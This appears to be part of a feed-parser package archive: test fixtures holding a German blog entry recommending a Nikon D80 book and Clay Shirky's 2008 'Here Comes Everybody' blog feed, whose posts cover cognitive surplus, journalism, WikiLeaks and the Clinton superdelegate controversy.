title="http://www.amazon.de/Nikon-D80-Das-Buch-Kamera/dp/3925334807/" onmouseover="window.status='http://www.amazon.de/Nikon-D80-Das-Buch-Kamera/dp/3925334807/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">a great book</a> to me, which I want to recommend to you now. The book is only available in German, AFAIK, so sorry to you English only readers. &quot;<a href="http://schlitt.info/applications/blog/exit.php?url_id=4539&amp;entry_id=594" title="http://www.amazon.de/Nikon-D80-Das-Buch-Kamera/dp/3925334807/" onmouseover="window.status='http://www.amazon.de/Nikon-D80-Das-Buch-Kamera/dp/3925334807/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Nikon D80 - Das Buch zu Kamera</a>&quot; does not only give a much more valuable overview on the D80 than the instructions manual does. It also gave me some good hints on what to pay attention for in photography and some technical background. Combined with practical use cases and helpful suggestions for custom settings and equipment, I'm still getting started with a great now hobby. If you like to get more info on this book, please take a look at my recension on <a href="http://schlitt.info/applications/blog/exit.php?url_id=4541&amp;entry_id=594" title="http://amazon.de" onmouseover="window.status='http://amazon.de';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Amazon</a> (as soon as it is online).</p> <p>You can be sure to read some more about my photography progress and to see some more of my pictures here in future. If you want to stay completly tuned, please <a href="http://schlitt.info/applications/blog/exit.php?url_id=4542&amp;entry_id=594" title="http://api.flickr.com/services/feeds/photos_public.gne?id=51884245@N00&amp;amp;lang=en-us&amp;amp;format=atom" onmouseover="window.status='http://api.flickr.com/services/feeds/photos_public.gne?id=51884245@N00&amp;amp;lang=en-us&amp;amp;format=atom';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">subscribe</a> to my <a href="http://schlitt.info/applications/blog/exit.php?url_id=4530&amp;entry_id=594" title="http://www.flickr.com/photos/tobiasschlitt/" onmouseover="window.status='http://www.flickr.com/photos/tobiasschlitt/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">photo stream</a> on <a href="http://schlitt.info/applications/blog/exit.php?url_id=4544&amp;entry_id=594" title="http://www.flickr.com/" onmouseover="window.status='http://www.flickr.com/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Flickr</a>.</p> Wed, 02 Apr 2008 23:07:00 +0200 http://schlitt.info/applications/blog/index.php?/archives/594-guid.html http://creativecommons.org/licenses/by-nd/2.5/amazon book d80 flickr gallery german image nikon photography photos private recommendation Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-shirky.com-writings-rss.cgi0000664000175000017500000016370512653701626026226 0ustar janjan Here Comes Everybody tag:www.shirky.com,2008-02-09:/herecomeseverybody//1 2008-05-05T17:23:19Z A book about organizing without organizations. Buy the book. (March 2008, US and UK) Movable Type Open Source 4.1 My readers are actually users tag:www.shirky.com,2008:/herecomeseverybody//1.26 2008-05-05T17:16:08Z 2008-05-05T17:23:19Z Continuing the pattern of readers adding value to books, not just consuming them, My Mind On Books has posted a webliography of Here Comes Everybody, pulling together links from the book with links of more general relevance. "Webibliography" links for... Clay Shirky My Mind On Books has posted a webliography of Here Comes Everybody, pulling together links from the book with links of more general relevance.

    "Webibliography" links for 'Here Comes Everybody' by Clay Shirky (part 1)

    "Webibliography" links for Clay Shirky, 'Here Comes Everybody' (part 2) ]]>     Great Suw Charman-Anderson piece on pigheadedness tag:www.shirky.com,2008:/herecomeseverybody//1.25 2008-05-01T19:10:58Z 2008-05-01T20:00:38Z Suw has a great post on social software, failure, and success over at Strange Attractor. She was riffing on something from the cognitive surplus talk -- "The normal case of social software is still failure; most of these experiments don't... Clay Shirky Suw has a great post on social software, failure, and success over at Strange Attractor.

    She was riffing on something from the cognitive surplus talk -- "The normal case of social software is still failure; most of these experiments don't pan out" -- and she goes into why most businesses still don't understand failure modes in social software, and how important sheer pigheadedness on the part of the founders can be in driving the successes:

    Every now and again I'll be talking to a client or a journalist or some random person at a conference, and they'll ask me if I think that social software is a fad. Invariably they'll have anecdotal evidence of some company, somewhere, who tried to start up blogs or a wiki inside their business, and it failed. That, they say, is proof that social software has nothing to offer business, and that if we give it a few more years it will just go away. Quod erat demonstrandum.

    The problem with this interpretation is that these failures - which are common, but largely unexamined and unpublished because no one likes to admit they failed - are part and parcel of the process of negotiating how we can use these new tools in business. They are inevitable and, were they discussed in public, I'd even call them necessary as they would allow us to learn what does and doesn't work. Sadly, we don't often get a glimpse inside failed projects so we end up making the same mistakes over and over until someone, somewhere sees enough bits of the jigsaw to start putting them together.

    Read the whole thing.

    ]]>     Jay Rosen on Citizen Journalism and Obama's "bitter" comment tag:www.herecomeseverybody.org,2008://1.23 2008-04-27T19:24:43Z 2008-04-27T19:25:59Z Jay Rosen, a founder of OffTheBus, has written a great piece on how Obama's "bitter" comments got picked up by a citizen journalist, Mayhill Fowler, a 61 year old Obama donor who was at the West Coast fundraiser and heard... Clay Shirky how Obama's "bitter" comments got picked up by a citizen journalist, Mayhill Fowler, a 61 year old Obama donor who was at the West Coast fundraiser and heard those comments:

    We're in uncharted territory here. Descriptor languages missing. People get mad when they don't know what to call things. Mad or daft. Like when Mike Allen of the Politico, listing 12 reasons 'bitter' is bad for Obama, couldn't even find the word "website" to describe the Huffington Post. It became "a liberally oriented organization that was Obama's outlet of choice when he wanted to release a personal statement distancing himself from some comments by the Rev. Wright." Sounds like some 527 group.

    Citizen journalism isn't a hypothetical in this campaign. It's not a beach ball for newsroom curmudgeons, either. It's Mayhill Fowler, who had been in Pennsylvania with Obama, listening to the candidate talk about Pennsylvanians to supporters in San Francisco, and hearing something that didn't sound right to her.
    ]]>     Comments broken tag:www.herecomeseverybody.org,2008://1.22 2008-04-27T13:17:02Z 2008-05-01T05:46:16Z Comments are broken. Thanks to everyone who's mailed in, I'm looking for the problem, will add to this entry when they're fixed. [Fixed! Sorry for the trouble.]... Clay Shirky Fixed! Sorry for the trouble.]]]> Gin, Television, and Social Surplus tag:www.shirky.com,2008:/herecomeseverybody//1.21 2008-04-26T14:48:53Z 2008-04-29T20:08:02Z (This is a lightly edited transcription of a speech I gave at the Web 2.0 conference, April 23, 2008.) I was recently reminded of some reading I did in college, way back in the last century, by a British historian... Clay Shirky (This is a lightly edited transcription of a speech I gave at the Web 2.0 conference, April 23, 2008.)


    I was recently reminded of some reading I did in college, way back in the last century, by a British historian arguing that the critical technology, for the early phase of the industrial revolution, was gin.

    The transformation from rural to urban life was so sudden, and so wrenching, that the only thing society could do to manage was to drink itself into a stupor for a generation. The stories from that era are amazing-- there were gin pushcarts working their way through the streets of London.

    And it wasn't until society woke up from that collective bender that we actually started to get the institutional structures that we associate with the industrial revolution today. Things like public libraries and museums, increasingly broad education for children, elected leaders--a lot of things we like--didn't happen until having all of those people together stopped seeming like a crisis and started seeming like an asset.

    It wasn't until people started thinking of this as a vast civic surplus, one they could design for rather than just dissipate, that we started to get what we think of now as an industrial society.


    If I had to pick the critical technology for the 20th century, the bit of social lubricant without which the wheels would've come off the whole enterprise, I'd say it was the sitcom. Starting with the Second World War a whole series of things happened--rising GDP per capita, rising educational attainment, rising life expectancy and, critically, a rising number of people who were working five-day work weeks. For the first time, society forced onto an enormous number of its citizens the requirement to manage something they had never had to manage before--free time.


    And what did we do with that free time? Well, mostly we spent it watching TV.


    We did that for decades. We watched I Love Lucy. We watched Gilligan's Island. We watch Malcolm in the Middle. We watch Desperate Housewives. Desperate Housewives essentially functioned as a kind of cognitive heat sink, dissipating thinking that might otherwise have built up and caused society to overheat.


    And it's only now, as we're waking up from that collective bender, that we're starting to see the cognitive surplus as an asset rather than as a crisis. We're seeing things being designed to take advantage of that surplus, to deploy it in ways more engaging than just having a TV in everybody's basement.


    This hit me in a conversation I had about two months ago. As Jen said in the introduction, I've finished a book called Here Comes Everybody, which has recently come out, and this recognition came out of a conversation I had about the book. I was being interviewed by a TV producer to see whether I should be on their show, and she asked me, "What are you seeing out there that's interesting?"


    I started telling her about the Wikipedia article on Pluto. You may remember that Pluto got kicked out of the planet club a couple of years ago, so all of a sudden there was all of this activity on Wikipedia. The talk pages light up, people are editing the article like mad, and the whole community is in an ruckus--"How should we characterize this change in Pluto's status?" And a little bit at a time they move the article--fighting offstage all the while--from, "Pluto is the ninth planet," to "Pluto is an odd-shaped rock with an odd-shaped orbit at the edge of the solar system."


    So I tell her all this stuff, and I think, "Okay, we're going to have a conversation about authority or social construction or whatever." That wasn't her question. She heard this story and she shook her head and said, "Where do people find the time?" That was her question. And I just kind of snapped. And I said, "No one who works in TV gets to ask that question. You know where the time comes from. It comes from the cognitive surplus you've been masking for 50 years."


    So how big is that surplus? So if you take Wikipedia as a kind of unit, all of Wikipedia, the whole project--every page, every edit, every talk page, every line of code, in every language that Wikipedia exists in--that represents something like the cumulation of 100 million hours of human thought. I worked this out with Martin Wattenberg at IBM; it's a back-of-the-envelope calculation, but it's the right order of magnitude, about 100 million hours of thought.


    And television watching? Two hundred billion hours, in the U.S. alone, every year. Put another way, now that we have a unit, that's 2,000 Wikipedia projects a year spent watching television. Or put still another way, in the U.S., we spend 100 million hours every weekend, just watching the ads. This is a pretty big surplus. People asking, "Where do they find the time?" when they're looking at things like Wikipedia don't understand how tiny that entire project is, as a carve-out of this asset that's finally being dragged into what Tim calls an architecture of participation.


    Now, the interesting thing about a surplus like that is that society doesn't know what to do with it at first--hence the gin, hence the sitcoms. Because if people knew what to do with a surplus with reference to the existing social institutions, then it wouldn't be a surplus, would it? It's precisely when no one has any idea how to deploy something that people have to start experimenting with it, in order for the surplus to get integrated, and the course of that integration can transform society.


    The early phase for taking advantage of this cognitive surplus, the phase I think we're still in, is all special cases. The physics of participation is much more like the physics of weather than it is like the physics of gravity. We know all the forces that combine to make these kinds of things work: there's an interesting community over here, there's an interesting sharing model over there, those people are collaborating on open source software. But despite knowing the inputs, we can't predict the outputs yet because there's so much complexity.


    The way you explore complex ecosystems is you just try lots and lots and lots of things, and you hope that everybody who fails fails informatively so that you can at least find a skull on a pikestaff near where you're going. That's the phase we're in now.


    Just to pick one example, one I'm in love with, but it's tiny. A couple of weeks one of my students at ITP forwarded me a a project started by a professor in Brazil, in Fortaleza, named Vasco Furtado. It's a Wiki Map for crime in Brazil. If there's an assault, if there's a burglary, if there's a mugging, a robbery, a rape, a murder, you can go and put a push-pin on a Google Map, and you can characterize the assault, and you start to see a map of where these crimes are occurring.


    Now, this already exists as tacit information. Anybody who knows a town has some sense of, "Don't go there. That street corner is dangerous. Don't go in this neighborhood. Be careful there after dark." But it's something society knows without society really knowing it, which is to say there's no public source where you can take advantage of it. And the cops, if they have that information, they're certainly not sharing. In fact, one of the things Furtado says in starting the Wiki crime map was, "This information may or may not exist some place in society, but it's actually easier for me to try to rebuild it from scratch than to try and get it from the authorities who might have it now."


    Maybe this will succeed or maybe it will fail. The normal case of social software is still failure; most of these experiments don't pan out. But the ones that do are quite incredible, and I hope that this one succeeds, obviously. But even if it doesn't, it's illustrated the point already, which is that someone working alone, with really cheap tools, has a reasonable hope of carving out enough of the cognitive surplus, enough of the desire to participate, enough of the collective goodwill of the citizens, to create a resource you couldn't have imagined existing even five years ago.


    So that's the answer to the question, "Where do they find the time?" Or, rather, that's the numerical answer. But beneath that question was another thought, this one not a question but an observation. In this same conversation with the TV producer I was talking about World of Warcraft guilds, and as I was talking, I could sort of see what she was thinking: "Losers. Grown men sitting in their basement pretending to be elves."


    At least they're doing something.


    Did you ever see that episode of Gilligan's Island where they almost get off the island and then Gilligan messes up and then they don't? I saw that one. I saw that one a lot when I was growing up. And every half-hour that I watched that was a half an hour I wasn't posting at my blog or editing Wikipedia or contributing to a mailing list. Now I had an ironclad excuse for not doing those things, which is none of those things existed then. I was forced into the channel of media the way it was because it was the only option. Now it's not, and that's the big surprise. However lousy it is to sit in your basement and pretend to be an elf, I can tell you from personal experience it's worse to sit in your basement and try to figure if Ginger or Mary Ann is cuter.


    And I'm willing to raise that to a general principle. It's better to do something than to do nothing. Even lolcats, even cute pictures of kittens made even cuter with the addition of cute captions, hold out an invitation to participation. When you see a lolcat, one of the things it says to the viewer is, "If you have some sans-serif fonts on your computer, you can play this game, too." And that's message--I can do that, too--is a big change.


    This is something that people in the media world don't understand. Media in the 20th century was run as a single race--consumption. How much can we produce? How much can you consume? Can we produce more and you'll consume more? And the answer to that question has generally been yes. But media is actually a triathlon, it 's three different events. People like to consume, but they also like to produce, and they like to share.


    And what's astonished people who were committed to the structure of the previous society, prior to trying to take this surplus and do something interesting, is that they're discovering that when you offer people the opportunity to produce and to share, they'll take you up on that offer. It doesn't mean that we'll never sit around mindlessly watching Scrubs on the couch. It just means we'll do it less.


    And this is the other thing about the size of the cognitive surplus we're talking about. It's so large that even a small change could have huge ramifications. Let's say that everything stays 99 percent the same, that people watch 99 percent as much television as they used to, but 1 percent of that is carved out for producing and for sharing. The Internet-connected population watches roughly a trillion hours of TV a year. That's about five times the size of the annual U.S. consumption. One per cent of that  is 100 Wikipedia projects per year worth of participation.


    I think that's going to be a big deal. Don't you?


    Well, the TV producer did not think this was going to be a big deal; she was not digging this line of thought. And her final question to me was essentially, "Isn't this all just a fad?" You know, sort of the flagpole-sitting of the early early 21st century? It's fun to go out and produce and share a little bit, but then people are going to eventually realize, "This isn't as good as doing what I was doing before," and settle down. And I made a spirited argument that no, this wasn't the case, that this was in fact a big one-time shift, more analogous to the industrial revolution than to flagpole-sitting.


    I was arguing that this isn't the sort of thing society grows out of. It's the sort of thing that society grows into. But I'm not sure she believed me, in part because she didn't want to believe me, but also in part because I didn't have the right story yet. And now I do.


    I was having dinner with a group of friends about a month ago, and one of them was talking about sitting with his four-year-old daughter watching a DVD. And in the middle of the movie, apropos nothing, she jumps up off the couch and runs around behind the screen. That seems like a cute moment. Maybe she's going back there to see if Dora is really back there or whatever. But that wasn't what she was doing. She started rooting around in the cables. And her dad said, "What you doing?" And she stuck her head out from behind the screen and said, "Looking for the mouse."


    Here's something four-year-olds know: A screen that ships without a mouse ships broken. Here's something four-year-olds know: Media that's targeted at you but doesn't include you may not be worth sitting still for. Those are things that make me believe that this is a one-way change. Because four year olds, the people who are soaking most deeply in the current environment, who won't have to go through the trauma that I have to go through of trying to unlearn a childhood spent watching Gilligan's Island, they just assume that media includes consuming, producing and sharing.


    It's also become my motto, when people ask me what we're doing--and when I say "we" I mean the larger society trying to figure out how to deploy this cognitive surplus, but I also mean we, especially, the people in this room, the people who are working hammer and tongs at figuring out the next good idea. From now on, that's what I'm going to tell them: We're looking for the mouse. We're going to look at every place that a reader or a listener or a viewer or a user has been locked out, has been served up passive or a fixed or a canned experience, and ask ourselves, "If we carve out a little bit of the cognitive surplus and deploy it here, could we make a good thing happen?" And I'm betting the answer is yes.


    Thank you very much.


    ]]>     Newspapers and the Net tag:www.shirky.com,2008:/herecomeseverybody//1.20 2008-04-07T11:11:58Z 2008-04-07T11:26:10Z Britannica Blog launched a series of posts today on Newspapers and the Net. The seed essay in this case is a passage from Nick Carr's The Big Switch: Rewiring the World, From Edison to Google about how the economics of... Clay Shirky Britannica Blog launched a series of posts today on Newspapers and the Net. The seed essay in this case is a passage from Nick Carr's The Big Switch: Rewiring the World, From Edison to Google about how the economics of unbundling are threatening newspapers.

    My response is first up. In it, I agree with Carr's assessment about the end of the economics that have supported newspapers, and then ask 'What's next?'

    My answer to that question is encapsulated in the title: What Journalism Needs Now: Experimentation, Not Nostalgia .

    We should stop worrying about the newspaper as a whole, and instead turn our attention to the important question: taking unbundling as a given, what bits merit saving? It isn't the physical fact of newsprint, or the expensive yet ineffective classified ads, or having a movie reviewer in every town.

    What's worth saving, as a critical function, is investigative journalism. We need someone, many someones, to do long, deep, boring research, for stories that may not even pan out. Without that, government at all levels will simply slide back into the nepotism and corruption of the 19th century.

    That is the challenge we need to take on, and as Carr notes, it's not one currently being met well on the Internet.

    Link ]]>     Given enough eyeballs, all typos are shallow tag:www.shirky.com,2008:/herecomeseverybody//1.19 2008-03-28T20:48:00Z 2008-03-28T23:56:52Z One of the common patterns in Here Comes Everybody is lightweight collaboration, not "Let's lock ourselves in a room for 5 days to work together" but "Let's make it easy for an individual to make a meaningful contribution with... Clay Shirky One of the common patterns in Here Comes Everybody is lightweight collaboration, not "Let's lock ourselves in a room for 5 days to work together" but "Let's make it easy for an individual to make a meaningful contribution with little effort." This patterns shows up in Linux and Wikipedia, where most of the contributors have made only one addition or emendation.

    And now it's come to the book. Alan Connor has put up a Flickr page documenting typos in the first edition:



    Now I know where to start for the second edition. As Eric Raymond might say, "Given enough eyeballs, all typos are shallow." Thanks Alan!

    ]]>     Airline Passengers' Rights: Round II tag:www.shirky.com,2008:/herecomeseverybody//1.18 2008-03-26T19:43:30Z 2008-03-26T19:57:50Z In the book, and in presentations since, I've talked a lot about the Coalition for a Passenger's Bill of Rights, the group founded by Kate Hanni in early 2007 that lobbied for better treatment of passengers stuck on grounded... Clay Shirky In the book, and in presentations since, I've talked a lot about the Coalition for a Passenger's Bill of Rights, the group founded by Kate Hanni in early 2007 that lobbied for better treatment of passengers stuck on grounded airplanes. There have been several of these incidents in recent years, including the American Airlines diversions to Dallas in December of 2006 and the JetBlue JFK meltdown on Valentine's Day in 2007, and there is no question how the majority of the flying public feels about the issue.

    What was remarkable about the Coalition's work last year is that they achieved a remarkable success in a legislative eyeblink, convincing the NY State legislature to pass a law creating passenger's rights in less than 8 months, with little staff or budget, and after a decade in which the airline industry simply fought off every previous attempt to create passenger's rights. And now the big test comes -- yesterday, the 2nd Circuit struck down the NY State law, saying that only the FAA can regulate passenger treatment. So now the issue goes to the US Congress, and maybe to the Supreme Court.

    I've argued that the Coalition succeeded where early efforts at either lobbying or class action suits failed because the Coalition is ad hoc, amateur, and surprising. They didn't set up a big institution. They have a very specific and targeted goal. They attract people from across a political spectrum -- their members didn't need to agree about any other issue besides passenger's rights. And they appeared out of nowhere, getting the attention of legislators before the airline industry had time to frame a reaction.

    However, the risk is that protest movements that rely on surprises simply get waited out by institutions. Once you get a tactic that works well, it can't be surprising anymore. (I speculated about this problem at Berkman about a month ago, and now here it is.)

    So the test case here is: can a pressure group that doesn't have an institutional structure prevail in a situation where the airline lobby in the US Congress is well defended against citizen complaint? The next phase of the drama will be slower moving the first phase, but will ultimately matter more in what it tells us about protest culture in the current era.

    ]]>     KUOW on Friday afternoon: The Conversation tag:www.shirky.com,2008:/herecomeseverybody//1.17 2008-03-14T19:57:02Z 2008-03-14T19:58:57Z About to go on Ross Reynolds long-form radio interview, The Conversation, to talk about the book. The stream and podcast is here.... Clay Shirky stream and podcast is here. ]]> Penguin Blog: Tools and Transformations tag:www.shirky.com,2008:/herecomeseverybody//1.16 2008-03-12T19:20:36Z 2008-03-12T19:32:52Z Penguin, the publisher of Here Comes Everybody, has invited me to guest post this week on the Penguin blog, and I'm using the space to talk about how transitions in communications tools affect media.First up, the comparison between the internet... Clay Shirky Here Comes Everybody, has invited me to guest post this week on the Penguin blog, and I'm using the space to talk about how transitions in communications tools affect media.

    First up, the comparison between the internet and the printing press:

    It's worth noting that most of the arguments made against the printing press were correct, even prescient. Readily available translations of scripture did destroy the Church as a pan-European institution. Most of the material produced by the new class of publishers was flyweight. Scribes did lose their social function. And so on, through a battery of transformations including public scrutiny of elites, the international spread of political foment, and even literate women. (The book to read on these transitions is Elizabeth Eisenstein's two-volume work The Printing Press as an Agent of Change.)

    All of which brings me to the internet. It too democratizes both production and consumption of media. It too is producing a staggering volume of new material, some good but most flyweight. It too is upending the role of traditional gatekeepers and destroying the older economics of scarcity. And it too is leading to a cottage industry of hand-wringing: "Why can't we just get a little bit of internet, but keep most things the way they were?"

    Read the whole thing here. There's also a podcast interview about the book.
    ]]>     DC book talk, Salon Interview, On the Media, and...Favoritest. Review. Evar. tag:www.shirky.com,2008:/herecomeseverybody//1.14 2008-03-07T21:45:05Z 2008-03-07T22:30:45Z I'm pleased to say "Here Comes Everybody" has been getting good coverage in the blogosphere. (Technorati, Google Blog Search, Summize. Not that I'm checking...)My favorite review so far is from Radar, a magazine whose normal coverage tends towards the "Ashton... Clay Shirky Technorati, Google Blog Search, Summize. Not that I'm checking...)

    My favorite review so far is from Radar, a magazine whose normal coverage tends towards the "Ashton Kutcher's Oscar Gown malfunction!" variety. (Actually, I made that up. Maybe Ashton Kutcher is a boy. I'm not really in the Radar demographic...)

    The reviewer, Elizabeth McKenna, starts off saying "The mere mention of technology or sociology makes me want to run to The Hills and hide." But she goes on: "All it took was peppering social-networking theory with a little blogging, Facebook, and Paris Hilton context [...] Shirky makes convoluted theories such as Power Law Distribution and Nash Equilibrium accessible through colorful pop-culture references and real-life examples. He efficiently straddles two worlds and satisfies the needs of two seemingly opposite groups: the seasoned sociologist and the easily distracted." (Emphasis hers, btw, and a hat tip for finding literally the only bold-face name in the book and bold-facing it.)

    More substantively, Jerry Brito wrote up my talk yesterday at the New America Foundation, and there are interviews up with Farhad Manjoo at Salon and Brooke Gladstone at On The Media. These kind of interviews are my favorite part of this phase, as I finally get to start mixing stories in the book with current events, which if of course the point of the book -- to provide a platform for talking about all this stuff.




    ]]>     Book Talk at Harvard's Berkman Center tag:www.shirky.com,2008:/herecomeseverybody//1.13 2008-03-05T22:01:40Z 2008-03-05T22:08:05Z Last week I gave a book talk at Harvard's Berkman Center for Internet and Society, and they've posted a video of the talk (40 mins).... Clay Shirky a video of the talk (40 mins).



    Berkman book Talk]]>     Wikileaks and the Hard Problem of Changing Social Bargains tag:www.shirky.com,2008:/herecomeseverybody//1.12 2008-03-05T20:47:22Z 2008-03-05T21:10:36Z WikiLeaks.org, a website for anonymous individuals to report illegal or unethical behavior, was briefly and famously shut down by Judge Jeffrey White of San Francisco. Or rather, it was half-way shut down -- Judge White ordered that the WikiLeaks.org web... Clay Shirky WikiLeaks.org, a website for anonymous individuals to report illegal or unethical behavior, was briefly and famously shut down by Judge Jeffrey White of San Francisco. Or rather, it was half-way shut down -- Judge White ordered that the WikiLeaks.org web address be de-activated, though the site itself remained intact. Judge White took this step because a former VP of Bank Julius Baer & Co., a Swiss bank with a branch in the Cayman Islands, leaked internal documents about the banks' practices in Cayman, documents the leaker claimed showed the banks' strategies for money laundering and tax evasion.

    Judge White's action was a little like shutting down a newspaper, sports section and all, for a libelous article in the business section, and he eventually realized this, reversing his own ruling with the rueful observation that "Maybe that's just the reality of the world that we live in. When this genie gets out of the bottle, that's it."

    Between the injunction and reversal, it was widely observed that the technical approach of revoking the Wikileaks domain name was ineffective, as the content could still be accessed through its IP address, as well as on other web sites and file sharing services. It's easy to mock Judge White for getting both the law and the technology so wrong, but underneath these seemingly simple issues, the WikiLeaks case exposes a much broader issue.

    There is a tension between freedom of speech in general, and restriction of certain kinds of speech; how can society let people say what they like, while still restricting things like libel or publication of trade secrets? And although the law around these issues hasn't changed, the economics of media have been so transformed that the old legal bargains between freedom and restriction are breaking, and we have no easy way of replacing them.

    The current way we have structured this bargain relies on the motivations of media professionals. Since media outlets are costly and complex to set up and run, every such outlet has a natural constituency, the professional publishers and editors and engineers who have a long-term commitment to the business. Because these professionals have a long-term commitment, it is possible to balance broad freedom of speech with specific classes restrictions, with laws that punish media professionals for publishing libelous material or trade secrets. The threat of these punishments motivate them to act as filters, not publishing such material in their newspapers or airing it on their stations. And because there are so few media outlets, society can rein in certain kinds of speech with very little little legal leverage.

    Except none of those things are true anymore. Creating media is no longer costly or complex as an absolute case, it doesn't require trained professionals, and it doesn't require long-term commitment. Amateurs now have direct access, without going through a professional bottleneck.

    Media, in its most elemental form, is the means of repeating a message thousands or millions of times, a capability that has become vanishingly cheap and held in common by amateurs and professionals. This mass amateurization is an end to the scarcity of media outlets. Now, if you have something to say in public, you don't need to ask anyone for help or permission. We can try to find you and punish you, but this will always be post hoc -- the self-interest of media professionals in keeping their jobs is no longer a way of preventing the amateurs from speaking out.

    The motives of the Julius Baer VP were doubtless impure, but it didn't matter. He got the documents out anyway, and he could do it again tomorrow. Judge White could have gone a lot further in shutting down the WikiLeaks site, but even if he had, it is but one site of many, in but one country of many.

    The question here is not whether we want to increase the ability of every employee able to violate trade secrets. Thats the situation we have today, and short of wholesale internet censorship it is the situation we will have from now on. The question is how (or whether) we can continue to carve out an exception to free speech for cases like Julius Baer without doing more harm than good. So many of our legal traditions around media assume scarcity, commercialization, and professionalization that our sudden lurch to a world of abundant, free, amateur media is going to threaten many existing social bargains, not just the the ones around trade secrets. Judge White's original injunction was a particularly bad solution, but that's no guarantee that there is a good solution to be easily had.

    (Also published at HuffingtonPost.com)

    ]]>     My book. Let me Amazon show you it. tag:www.shirky.com,2008:/herecomeseverybody//1.11 2008-02-28T22:26:24Z 2008-02-28T22:36:48Z I'm delighted to say that online bookstores are shipping copies of Here Comes Everybody today, and that it has gotten several terrific notices in the blogosphere: Cory Doctorow:Clay's book makes sense of the way that groups are using the Internet.... Clay Shirky Here Comes Everybody today, and that it has gotten several terrific notices in the blogosphere:

    Cory Doctorow:
    Clay's book makes sense of the way that groups are using the Internet. Really good sense. In a treatise that spans all manner of social activity from vigilantism to terrorism, from Flickr to Howard Dean, from blogs to newspapers, Clay unpicks what has made some "social" Internet media into something utterly transformative, while other attempts have fizzled or fallen to griefers and vandals. Clay picks perfect anecdotes to vividly illustrate his points, then shows the larger truth behind them.
    Russell Davies:
    Here Comes Everybody goes beyond wild-eyed webby boosterism and points out what seems to be different about web-based communities and organisation and why it's different; the good and the bad. With useful and interesting examples, good stories and sticky theories. Very good stuff.
    Eric Nehrlich:
    These newly possible activities are moving us towards the collapse of social structures created by technology limitations. Shirky compares this process to how the invention of the printing press impacted scribes. Suddenly, their expertise in reading and writing went from essential to meaningless. Shirky suggests that those associated with controlling the means to media production are headed for a similar fall.
    Philip Young:
    Shirky has a piercingly sharp eye for the spotting the illuminating case studies - some familiar, some new - and using them to energise wider themes. His basic thesis is simple: "Everywhere you look groups of people are coming together to share with one another, work together, take some kind of public action." The difference is that today, unlike even ten years ago, technological change means such groups can be form and act in new and powerful ways. Drawing on a wide range of examples Shirky teases out remarkable contrasts with what has been the expected logic, and shows quite how quickly the dynamics of reputation and relationships have changed.
    ]]>     Senator Clinton's "Million Little Pieces" moment. tag:www.shirky.com,2008:/herecomeseverybody//1.10 2008-02-26T19:21:28Z 2008-02-26T19:24:57Z (A version of this article also appeared at The Huffington Post.) Senator Clinton's campaign has launched one of the oddest bits of political propaganda in the history of modern politics. Called DelegateHub.com, it is a web site that does nothing... Clay Shirky A version of this article also appeared at The Huffington Post.)

    Senator Clinton's campaign has launched one of the oddest bits of political propaganda in the history of modern politics. Called DelegateHub.com, it is a web site that does nothing less than lay out, in glorious policy-wonk detail, their rationale for stealing the Democratic nomination.

    DelegateHub is a mix of tone-deaf assertions about superdelegates ("FACT: Automatic delegates are expected to exercise their best judgment in the interests of the nation and the Democratic Party") and endorsements from politicians who support her goal of thwarting the will of the voters ("Rep. Clyburn (D-SC) says automatic delegate support should not be based on election results.") The idea that the campaign would spend its precious time, money, and energy in a public rebuke to voters in their own party suggests that they really don't understand what we are objecting to. If they keep this line of argument up, it may lead to a "Million Little Pieces" moment for Senator Clinton.

    Remember A Million Little Pieces, James Frey's 2003 memoir? When important chunks turned out to be fiction, the most interesting public reaction didn't happen to Frey, it happened to Oprah Winfrey. Winfrey had praised Frey's book on air, selecting it in 2005 for her prestigious book club and adding millions to its sales. When the scandal broke in early 2006, she went in front of her adoring fans with what might be called the Hollywood defense: "Everything done for public consumption is a little bit fictionalized anyway. That's how it works. If Frey went farther than most, well, what's the big deal? As long as the book made you feel real emotion, what does it mater if the events didn't all actually happen?"

    This did not go over well. Winfrey's audience turned out to care a great deal about the truth; writing about being in jail for three months, while never actually having spent even a night there, struck them as a violation of trust. Prior to 2006, Winfrey might have been able to weather the discontent she created in her audience with classic political techniques -- go publicly silent and deal with the complainers in private and one at a time ("Dear long-time Oprah fan, We were very sorry to get your recent letter...") A couple of months of that, and the whole thing should have blown over.

    But it didn't, because of the internet. Winfrey had embraced the internet as a way to talk to her fans, and to let them talk back to her (or at least her staff). What she hadn't understood, 'til Frey, was that her fans were also talking to one another, not just in book groups of five or eight, but by the thousands, in mailing lists and bulletin boards all over the net. When her fans reacted, they reacted in public, and once they could see how general their anger was, it emboldened them. They didn't back down, it didn't blow over, and in short order, Winfrey, the most universally beloved television figure since Walter Cronkite, had to call for a do-over, this time going on air and castigating everyone involved on behalf of her fans.

    Which brings us to Senator Clinton. Faced with fears that she may be planning to ignore our votes, she has gone public with what we might call the Washington defense: "Of course I'm planning to ignore you if you don't vote for me, because I want to win. That's how it works. If I get elected by seating the bogus Florida and Michigan delegates, and convincing party members to vote for me no matter what you want, well, what's the big deal? As long as the process selects a candidate, what does it matter if it isn't the one most of you want?"

    This will not go over well. Democratic voters turn out to care a great deal about process; Gore's Electoral College loss in 2000 was a calamity, and the idea that that sort of end-run might be perpetrated on us again by a member of our own party strikes us as a betrayal of trust. And there is no way to integrate Florida and Michigan after the fact, because no competitive election took place there, so no one knows the will of the people in those states. Even worse, not only are Clinton's rationales for increasing the delegate count anti-democratic, they are mutually contradictory. DelegateHub explains her goal to seat Florida and Michigan as a question of fundamental fairness, but in explaining superdelegates, they call the popular vote an arbitrary metric. So which is it: fair, or arbitrary? The campaign never says, because of course, there's no actual principle here. Things that increase her delegate count are good, period.

    And of course, the Democratic voters are starting to talk to one another about this, not just in groups of 5 or 8, but by the millions and in public. Given the Clinton campaign's willingness to use the rules of the election to undermine the its purpose, that public conversation is going to get louder, and when the voters see how general our anger is, it will embolden us, forcing a reaction. Winfrey handled her Plan B swiftly and completely, understanding and aligning herself with her fans wishes after her initial missteps. We'll see how Clinton handles herself with the voters.


